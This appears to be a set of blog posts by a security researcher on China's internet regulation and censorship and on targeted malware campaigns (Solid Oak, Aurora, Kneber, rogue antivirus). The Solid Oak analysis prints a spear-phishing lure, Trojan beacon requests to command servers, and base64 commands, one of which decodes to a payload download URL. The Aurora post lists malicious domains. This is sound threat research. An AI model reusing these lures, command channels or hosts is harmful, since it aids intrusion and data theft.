GoDaddy, .CN, Malware & Freedom of Expression

The domain registrar GoDaddy testified before the U.S. Congressional-Executive Commission on China and stated that they would "discontinue offering new .CN domain names" citing concerns over an "increase in China’s surveillance and monitoring of the Internet activities of its citizens" and the "chilling effect" that the retroactive application of new requirements on .CN domain names would have.

CNNIC, which regulates the .CN ccTLD, introduced new requirements in December 2009 on registrations which many in the security community welcomed. .CN domain names are often used for malicious purposes. McAfee has listed .CN as one of the riskiest ccTLD's. MalwareURL.com and MalwareDomainList.com (two amazing malware/security resources) have collected numerous .CN domain names used to distribute malware. The AV company Kaspersky noted:

Over the last 3–4 years, China has become the leading source of malware. Chinese cybercriminals have shown themselves to be capable of creating such huge volumes of malware that over the last two years, antivirus companies have, without exception, put most of their effort into combating Chinese malware.

However, a lot of the malware activity coming from China is because Eastern European criminal networks moved and are now abusing Chinese infrastructure, .CN domains as well as IP addresses.

Sophos noted that the regulations were having an effect. There was a decrease in spam and Sophos attributed this to the new CNNIC regulations. Symantec noted that .CN registrations used for spam were down and .RU registrations had taken their place.

Others were unsure. StopBadWare noted that since there was a 5 day grace period that would be enough time for the malicious use of .CN domain names. Many, including Isaac Mao, also raised privacy and freedom expression issues arguing that this was a crackdown on freedom of expression.

GoDaddy is now framing their decision to "discontinue offering new .CN domain names" as a freedom of expression issue. Back in 2004 I wrote about GoDaddy's practice of denying access to its services form certain countries. Others have also had issues with GoDaddy regarding freedom of expression. In other cases, GoDaddy (among other registrars) have been criticized for being too slow to act.

So in trying to get an understanding of what's going on, I found portions of GoDaddy's testimony quite interesting. In particular, I'm interested in the emphasis on "Chinese nationals."

On February 3, 2010, CNNIC announced that it would reopen .CN domain name registrations to overseas registrars. However, the stringent new identification and documentation procedures would remain in effect. CNNIC also announced an audit of all .CN domain name registrations currently held by Chinese nationals. Domain name registrars, including Go Daddy, were then instructed to obtain photo identification, business identification, and physical signed registration forms from all existing .CN domain name registrants who are Chinese nationals, and to provide copies of those documents to CNNIC. We were advised that domain names of registrants who did not register as required would no longer resolve. In other words, their domain names would no longer work.

Now, what I am unclear on is how the requirements affects non-Chinese national who a registering malware domains, pushing rogue antivirus, sending spam and all sorts ofnasty things. These regulation seems to largely target Chinese nationals -- not the nationals of other countries who may be using .CN domains for malicious purposes. GoDaddy concluded:

The intent of the new procedures appeared, to us, to be based on a desire by the Chinese authorities to exercise increased control over the subject matter of domain name registrations by Chinese nationals.

We believe that many of the current abuses of the Internet originating in China are due to a lack of enforcement against criminal activities by the Chinese government. Our experience has been that China is focused on using the Internet to monitor and control the legitimate activities of its citizens, rather than penalizing those who commit Internet-related crimes.

I'm having trouble evaluating GoDaddy's new found (to me anyway) commitment to freedom of expression. I do welcome it and I hope they are serious about it and demonstrate their commitment by joining the Global Network Initiative. But I'm hoping that they don't confine their interest in freedom of expression solely to China but rather evaluate and assess freedom of expression and privacy across their business operations.

UPDATE:

WP: In response to new rules, GoDaddy to stop registering domain names in China
Dancho Danchev: "With CN/RU requirement for scanned IDs in order to register a domain,underground services are already monetizing the Photoshop-ing process."

Rogue AV, ZeuS and Spear Phishing

Brian Krebs just posted a great article about avprofit.com, an affiliate program for malware distributors, who get $1 per install. But they don't just spread rogue (fake) anti-virus software, they also spread ZeuS:

Distributors or “affiliates” who sign up with avprofit.com, for example, are given access to an installer program that downloads not only rogue anti-virus but also ZeuS, a stealthy piece of malware that specializes in mining online banking credentials from infected PCs.

There are some very interesting things about this development:
1. The email address used to register avprofit.com is abuseemaildhcp@gmail.com
2. abuseemaildhcp@gmail.com is the email address used to register updatekernel.com, the domain used in targeted spear phishing attacks
3. The binary that the malware distributors were given to spread (baba913304d400802be62e815579c41a) is the same as the binary used in a targeted spear phishing attack
4. The website that hosted the malware in the spear phishing attack was the same as the one used in another spear phishing attack that used portions of Brian Krebs' article as lure.
5. The command and control for a number of these attacks was updatekernel.com

Krebs lays out an impressive analysis of the broader ecosystem of these criminal networks. It is even more interesting when we factor in the attacks against .mil & .gov email addresses and the extraction of sensitive documents -- as opposed the banking credentials usually targeted by ZeuS -- and the sensitive nature of the entities from whom these documents were ex-filtrated.

All for $1 a piece.

google.cn -> google.com.hk

Yesterday Google began redirecting requests for google.cn to google.com.hk effectively ending its years of self-censorship in China. To be clear, Google has not ended censorship in China -- Google has ended its own self-censorship.

While searches within the .hk google are not censored by Google, they will still be affected by China's keyword filtering. This means that queries for certain terms will not get through to google.com.hk search engine and the end user in China will not get any results.

Even if a user in China uses search queries that are not filtered by China and retrieves results from google's .hk version, they will still be affected by China's filtering if they click on the link and try and view those results directly.

What's the difference? Users in China will be affected by China's filtering, not Google's. The difference is in the user's experience -- instead of retrieving results and carrying on as if censorship did not exist (disclaimer aside), the user now experiences the censorship first hand.

It is true that the user will not get any results from Google for queries that are filtered by China. this may results in quantitatively less information, but necessarily qualitatively (see here and here). Even if a controversial site slipped through the self-censorship, it would be picked up by China's filtering if the user tried to access it directly.

The move removes Google from an ethically challenged situation and has raised awareness globally regarding China's censorship practices.

Remember: Microsoft and Yahoo! are still censoring their China facing search engines.

Google, Yahoo, Microsoft Still Censoring In China

Today MSNBC reported that Google "appears" to have stopped censoring its search engine in China, google.cn.

This is not true.

In Search Monitor Project: Toward a Measure of Transparency I tried to carefully document the different censorship practices among Google, Yahoo, Microsoft and Baidu. (Here are some more posts on this issue.) In short, it is difficult to determine the relationship between queries and censorship, so I focused on domains.

NBC assumed that the censorship was keyword driven (there are some key word driven elements) but a lot of it is based on de-listing (or not indexing) web sites.

For what it is worth, I noticed that a lot of the content I found to be blocked in 2008 was available BEFORE the Google announcement in January. For example, around the Olympics in Beijing a lot of previously blocked content was accessible (although the search engines were still censoring more than China was at that time).

But anyway, a closer look at the current search engine censorship reveals some interesting issues. Here's a google.cn search for Tiananmen, notice the "tankman" picture is there, twice.



But look closely, what is Google indexing? Why those domains are "tieba.baidu.com" and "q.163.com". Baidu and 163, both very popular domestic Chinese sites. The images are not hosted on thoese sites, but are linked from them. So both Baidu and 163 are displaying page that have the image too!

What about Yahoo (yahoo.cn) and Microsoft's Bing (with region set to PRC)? Yep, these images are there too!





Although Google has consistently performed better (as in less censorship) in my tests over the years, Google's censorship behaviour is not all that different than the rest.

Malware Attacks on Solid Oak After Dispute with Greendam

A while back I posted an analysis of attacks on Solid Oak (the makers of CyberSitter) after a dispute with a Chinese firm that produced GreenDam over stolen code. Rob Lemos covered the story and also revealed that the law firm representing Solid Oak subsequently came under a similar targeted malware attack. The story has surfaced again, this time in connection with APT. I've reposted the original from malwarelab.org below.

Malware Attacks on Solid Oak After Dispute with Greendam

By Nart Villeneuve

After researchers discovered that portions of China's Greendam filtering software were stolen from an American filtering company's software, Cybersitter, the company that produces the software, Solid Oak, same under a targeted malware attack. This short post from the Malware Lab (www.malwarelab.org) analyzes two samples from the attacks.

Findings:

• The delivery component of the attacks specifically targeted Solid Oak. In one case the attackers registered and used a Gmail account that was a misspelling of of a Solid Oak employees name and used it to send an email about a contextually relevant topic.


• These targeted emails contained (or linked to) malicious files that, if opened, caused the targets computer to become infected with a Trojan Horse program.


• In both cases the Trojan connects to (related) web servers but requests seemingly legitimate files. However, at certain times the attackers insert HTML command tags into these files with commands.

Background

In June 2009, it was reported that the Chinese government was requiring the installation of filtering software, known as Green Dam, on all personal computers sold in China.¹ Researchers from the University of Michigan analyzed Green Dam and discovered security vulnerabilities that would allow malicious attackers to take control of any computer running Green Dam.

In addition, they found that portions of Green Dam's block lists were taken from a U.S. Company, Solid Oak, that produces a filtering product called CyberSitter, and that the image filtering component was taken from OpenCV, an open source project.² Bryan Zhang, the founder of Jin Hui, the company that created Green Dam, denied that Green Dam contained stolen code and stated that it was “impossible”.³ Solid Oak released a report detailing the incident and is reportedly seeking legal action against PC manufacturers that are shipping computers with Green Dam installed.⁴

On June 25, 2009 reports emerged stating that Solid Oak was under attack. In addition to “server problems” company executives began receiving suspicious emails.⁵

The following is an analysis of samples of malware sent to Solid Oak.

Sample 1

On June 25, 2009 an email message was sent to Brian Milburn, the CEO of Solid Oak, from “jenna.dipaquale@gmail.com”; Jenna DiPasquale (note the missing “s”) is the head of public relations for Solid Oak.

Date: Thu, 25 Jun 2009 05:49:18 -0400
Subject: This is the Jinhui Computer System Engineering Inc's report about China's Green Dam Youth Escort screening software.
From: Jenna DiPaquale
To: bmilburn@solidoak.com

This is This is the Jinhui Computer System Engineering Inc's report about
China's Green Dam Youth Escort screening software.
www.civis.com/jinhui_report.zipabout China's Green Dam Youth Escort
screening software.
www.civis.com/jinhui_report.zip

The file, jinhui_report.zip, was no longer available at www.civis.com at the time of analysis so sample that Solid Oak provided was used. The zip file contains an executable:

Jinhui_Computer_System_Engineering_Inc_the_Chinese_government_officials_report.exe

However, Windows computers have a “feature” enabled by default that hides file extension cause the malicious executable to appear as if it is a directory/folder.⁶





When the malicious file is run (the user thinks he or she is opening a directory), a directory with the same name is created and the contents of that directory (a Word document, Jinhuisays.doc) is displayed to the user while malicious software is dropped on the system. The malicious file issues a connect to http://www.chuckfaganco.com/docs/rmscpt5.htm (76.76.146.89) (See Threat Expert for an automated report.⁷)



The User-Agent contains some interesting characters:

GET /docs/rmscpt5.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) z3?xwc.InfoPath.so
Host: www.chuckfaganco.com

The response contains a “command” in a HTML comment tag:

<!-- {/*jgJ-.J} -->

This command has since been removed from the requested page.

After opening the malware, a document is displayed, Jinhuisays.doc, but it does not contain malware.⁸



Sample 2

The second sample is a Power Point file, “Solid Oak seteps up China'net nappy.ppt” that exploits a vulnerability in Power Point to drop a malicious file. (For automated reports see Threat Expert and Virus Total.) ⁹

The malware drops a file “Net110..exe” which issues a connection to http://www.parkerwood.com/help/403-3.htm. (69.20.4.85) (For an automated report see Threat Expert.)¹⁰



Unlike Sample 1, the User-Agent does not contain interesting characters:

GET /help/403-3.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;)
Host: www.parkerwood.com

This command appears as a html comment in the response:

<!-- czox -->

base64 decode = s:1

It eventually changed to:

<!-- czozMDA= -->

base64 decode = s:300

Other commands seen on www.parkerwood.com by accessing a variety of other pages throughout the site, such as /help/403-1.htm, /help/403-2.htm, /help/403-4.htm, /help/403-7.htm.

<!-- czo0 -->

base64 decode = s:4

<!-- czoyNDA= -->

base64 decode = s:240

<!-- ZDpodHRwOi8vd3d3LnBhcmtlcndvb2QuY29tL2ltYWdlcy90b3AuZ2lm -->

base64 decode = d:http://www.parkerwood.com/images/top.gif

<!-- {/*jgJ-nJ} -->

After dropping the Trojan, a Power Point presentation opens.



One interesting behaviour of this particular case is that the page(s) that the malware connects to change quite frequently. At times, command are inserted into the page in HTML comment tags only to be completely removed at a later time, sometimes within several hours of first appearing. These commands also change over time. In addition, sometimes pages are no longer present (404) but re-appear at a later time. At other times, all the pages are restricted (403).

Sample 2 connected to http://www.parkerwood.com/help/403-3.htm every 10 minutes. These connections were monitored starting at Fri Jul 10 14:50:01 2009 and after finally receiving a command Sat Jul 11 22:20:47 2009 the malware did not issue any further connections (the monitoring stopped at Wed Jul 15 08:11:44 2009).

Fri Jul 10 14:50:01 2009 - 403 Forbidden No Command
Fri Jul 10 23:10:16 2009 - 404 Not Found No Command
Sat Jul 11 22:10:46 2009 - 403 Forbidden No Command
Sat Jul 11 22:20:47 2009 200 OK <!-- czozMDA= --> (base64 decode = s:300)

About Malware Lab

The Malware Lab (www.malwarelab.org) is an independent research collective comprised of volunteers that investigates and reports on politically motivated malware attacks, primarily against civil society organizations. The Malware Lab combines technical data with socio-political contextual analysis in order to better understand the capabilities and motivations of the attackers as well as the overall effects and broader implications of targeted attacks.

Notes

[1] http://www.nytimes.com/2009/06/09/world/asia/09china.html
[2] http://www.cse.umich.edu/~jhalderm/pub/gd/
[3] http://online.wsj.com/article/SB124486910756712249.html
[4] http://www.cybersitter.com/gdcs.pdf and
http://www.pcworld.com/businesscenter/article/167842/suit_over_chinas_web_filter_to_target_lenovo_acer_sony.html
[5] http://government.zdnet.com/?p=5034, http://government.zdnet.com/?p=5049,
http://www.informationweek.com/story/showArticle.jhtml?articleID=218101882
[6] http://www.f-secure.com/weblog/archives/00001675.html
[7] http://threatexpert.com/report.aspx?md5=783c50f221c339f244ac68b38fcd30af
[8] http://www.virustotal.com/analisis/33e5495969fd497c439d18e7ea3976845c5454b378764a7b5dd887eef6bc8a9e-
1247083107
[9] http://www.threatexpert.com/report.aspx?md5=86f7cc8f65522a9d7eed8adf22bb9772 ,
http://www.virustotal.com/analisis/d1a5e159bfcdf3a22abf521d91bc83dd70ac3b1155c46eac5106450df17eb56b-
1247073429
[10] http://www.threatexpert.com/report.aspx?md5=1778671314196147402789eeb0c6d89c

The Aurora Mess

The data about Aurora has always felt just a little off for me. Maybe its that everyone writing about it just has their own piece of the puzzle to analyse, without the detail required to accurately link the pieces together.

When it comes to the command and control infrastructure, maybe it's that some obfuscated the domain names while others published them, but with a domain on the blog post that's not in technical write up. Maybe it is that some have significantly bigger lists than others (that include duplicates as well as the root domain for a dynamic dns provider that hands out sub-domains).

Maybe it is that some name domains that hosted the exploit but do not provide details on C&C's that compromised hosts check-in with. Maybe the difference between the long lists and short lists is that some are including "copycats" -- sites that host the IE exploit. Since "Aurora" is now being used to refer to the specific attack on Google, the 0day vulnerability in Internet Explorer (that was apparently used), and the malware that was apparently dropped by the exploit (Hydraq) interchangeably it is difficult to get a handle on exactly what is what.

Google says the attacks were "highly sophisticated and targeted" (as does McAfee, Mandiant, and iDefense) while Damballa says that it was the work of amateurs, Dancho Danchev says that "[i]t's in fact [an] average team" and Mikko Hypponen says "[t]his wasn't in my opinion ground-breaking as an attack. We see this fairly regularly." OK, well, that's quite the continuum of "sophistication." Back to that in a bit.

Attribution? The New York Times reported that the attacks were traced to two schools in China: Shanghai Jiaotong University and the Lanxiang Vocational School. While some have drawn links between these schools and the Chinese military others cast doubt on it. The Financial Times reportsthat "a freelance security consultant in his 30s" in China wrote (part of) the Internet Explorer exploit but "is not a full-time government worker, did not launch the attack, and in fact would prefer not be used in such offensive efforts." Hmm. OK. Mandiant indicated that the quality of the exploit points toward some kind of relationship with the Chinese state, while iDefense, looking at the command and control infrastructure, pretty unambiguously states that the Chinese State was being the attacks whether or not "amateurs" were used.

So here we are at the crossroads of the exploit, the malware, and the command and control infrastructure. And as Richard Bejtlich points out there's more to it than just the technical aspects of malware, there is, as Mike Cloppert describes, a range of indicators that allow one to characterize the adversary behind the attacks. Clearly, most of us relying on public sources do not have a sufficient level of detailed information to analyse the attack on Google with such depth.

This brings me back to the Damballa report. I really liked this report because is focused on the command and control infrastructure, it was based on interesting data collected via passive DNS data collection and included many interesting conclusion and enough detail to begin connecting their data with other publicly available data. In fact, one of the most interesting observations for me was evidence that the DNS resolutions indicate that Google China was compromised first, followed by Google in Mountain View some 17 hours later. Still, there are parts of the report that are confusing to me.

The Damballa report starts by looking at "five CnC domain names associated with the Aurora botnet" that were publicly disclosed, however, these domain names are not explicitly stated in the report. The most seemingly authoritative list, from Symantec, for example, lists 7 domains. The starting point appears to be "blog1.servebeer.com". This one is common to all lists (except Symantec's technical write-up). The domain servebeer.com is a Dymanic DNS serverice offered by No-IP that allows people to register sub-domains such as "blog1." Based on factors such as "DDNS credentials" Damballa linked the following domains together (four of which are not disclosed).

CnC_Domain.1
CnC_Domain.2
CnC_Domain.3
CnC_Domain.4
blog1.servebeer.com

At some point each of the 5 domains above pointed at at least one of the "IP addresses associated with two of the CnC servers used during the Aurora attack." The IP's were not disclosed. Therefore, I am not entirely sure of how the next group of domain names are linked.

baltika1.servebeer.com
m7been.zapto.org
miecros.info
mcsmc.org
yahoo.blogdns.net
filoups.info
google.homeunix.com

While the last 2 domains (filoups.info and google.homeunix.com) appear on the US CERT list of "Aurora" domains, the first 5 domains (baltika1.servebeer.com, m7been.zapto.org, miecros.info, mcsmc.org, and yahoo.blogdns.net) do not.

Damballa then links this second group to "two distinct families of Fake AV Alert / Scareware: Login Software 2009 and Microsoft Antispyware Services."

Fake AV Alert / Scareware
mcsmc.org
micronetsys.org
mnprfix.cn
filoups.info
miecros.info

Fake Microsoft Antispyware
ec2-79-125-21-42.eu-west-1.compute.amazonaws.com
ip-173-201-21-161.ip.secureserver.net
inekoncuba.inekon.co.cu
google.homeunix.com
yahoo.blogdns.net
voanews.ath.cx
ymail.ath.cx

So, filoups.info links the "Fake AV Alert / Scareware" to the US CERT list of "Aurora" domains and google.homeunix.com links the "Fake Microsoft Antispyware" to the US CERT list of "Aurora" domains. Both appear in Damballa's second cluster (which has an unclear relationship with the first cluster).

Using the Damballa list along with samples from ThreatExpert I compiled a list that included a few additional domain names. I included domain names that the individual piece of malware requested that had similar paths to those identiofied by Damballa and excluded those that appeared to be other malware or SEO URLs.

For example, one sample contains google.homeunix.com, yahoo.blogdns.net, tyuqwer.blogdns.com, and tyuqwer.dyndns.org. The domains google.homeunix.com and tyuqwer.dyndns.org appear on the US CERT list, yahoo.blogdns.net appears on the Damballa list and tyuqwer.blogdns.com appears on neither. Another sample contains google.homeunix.com tyuqwer.dyndns.org blogspot.blogsite.org and voanews.ath.cx. All of these domains appear on the US CERT list google.homeunix.com and voanews.ath.cx appear on the Damballa list.

The next grouping largely focuses on "mcsmc.org" abnd the domain names that apear with it and request similar URL paths but are not in the Damballa report.

virtualmits.com
syswa.cn
thcway.info
searchnix.info
wscntgy.com
google-analitics.in
licagreem.in
jusched.in

The relationships between the domains can be built our further, especially if we include common IP addresses. I think this indicates that there are a variety of conclusion being drawn based on data that comes bundled with a variety of assumptions. For example, is the sample detailed by Symatec the same -- as opposed to similar to -- the one used in attack on Google? How were these "master" lists -- such as the one by US CERT created? How were these domains bundled together?

In the Damballa report in particular there are a few additional assumptions that I am not entirely sure of. First, I'm not sure that DDNS == amateur. Many of the targeted attack on civil society and human rights groups I've looked at used DDNS. And while many DDNS providers do cooperate with the security industry and law enforcement, the ones in China (like 3322.org) don't. Moreover, I'm not sure that "amateur" necessarily excludes state involvement -- even governments can engage in behaviour that would be considered amateurish. And would you want to tip off state involvement by being uber3l33t? The logic just starts to become circular after a while, especially if you only focus on the technical aspects.

I mean, if we take Google at their word and believe that "a primary goal of the attackers was accessing the Gmail accounts of Chinese human rights activists" how do we explain the connection to (probably Eastern European) SEO and related common malware?

Even if we assume that the "master" list is accurate, Damballa does raise some alternative explanations for the association between the two:

• it is possible that two different groups purchased the services of the same crimeware group (probably the same people behind Operation Aurora) to distribute and manage their malware family. Or the crimeware group rented out different variants of the same malware to different groups with different intentions.


• There is no natural progression seen between the two families. Usually malware writers evolve in both technology and protection of their creation but these two families did not show any related evolution. The malware families appear to exist independently, and then become superseded by Trojan.Hydraq.

The relationship between crimeware -- or common botnet operators/kits -- and targeted malware attacks in order to extract sensitive data (some might call this espionage) is something I tried to explore in "The “Kneber” Botnet, Spear Phishing Attacks and Crimeware." Again, given the lack of precise data I don't claim to know what's going on in the Google case -- in fact, I may have just made it worse with this post. But if we accepts the links that Damballa has found to be accurate it does raise the important issue of the relationship between crimeware and espionage.

But, maybe, we're jumping to conclusions based on faulty assumptions. I just don't know. It is still a mess.

The "Kneber" Botnet, Spear Phishing Attacks and Crimeware

After I received an email from Jeff Carr warning about a spoofed email containing malware, I asked Jeff to send it along. It turns out that the attackers also used portions of a blog post by Brian Krebs as lure. What interesting is that the attack targeted .mil and .gov email addresses using text from Carr and Krebs about an earlier attack targeting .mil and .gov email addresses. A quick analysis of the sample indicated that it was Zeus and was beaconing to a known Zeus command and control server. However, the interesting part, for me, is what happened after getting compromised by Zeus, and I have to really thank Jeff for passing along the email because it led me to this stuff.

Around the same time news of the Kneber botnet broke and Netwitness linked the two attacks together. While much of the coverage of Kneber was hype-filled, the actual report by Netwitness is excellent and you can get a hype-free overview by Alex Cox, the guy who discovered it, here. The response of some of the AV vendors has been troubling. Essentially some said that this is nothing new, it's just Zeus, and that there's long been AV protection for Zeus. Netwitness responded stating that many AV's actually did not detect the samples they analyzed.

The sample from the sample I analyzed the coverage was 18/41 on Virustotal.

The main issue for me was the use of Zeus to drop malware that focused on document removal and that it was used in conjunction with spear phishing attacks on .mil/gov email addresses. This second drop was 5/41 on Virustotal.

From the data it seems like the attackers were capturing whatever they could, not retrieving specific documents. That said, they managed to compromise the types of people they appeared to be after (in terms of who the phishing mails were sent to) and in a few cases managed to get some very interesting documents.

I think the broader issue is what Brian Krebs alluded to in the comments section of his blog - and Netwitness indicated this as well -- that is if we believe that these crimeware types are squeezing all the monetary value they can out of their operations, what would they do with the type of information that has intelligence value but is not easily monetized in a traditional sense? And how better to obscure attribution that to use existing crimeware infrastructure for what appears to be more espionage that traditional crime?

I am keeping these as open questions because I am not sure how strong the connection is and tend to be cautious on these issues. But I do think it is an interesting case.

Read the full post here and here.

UPDATE: I've copied the report into this post.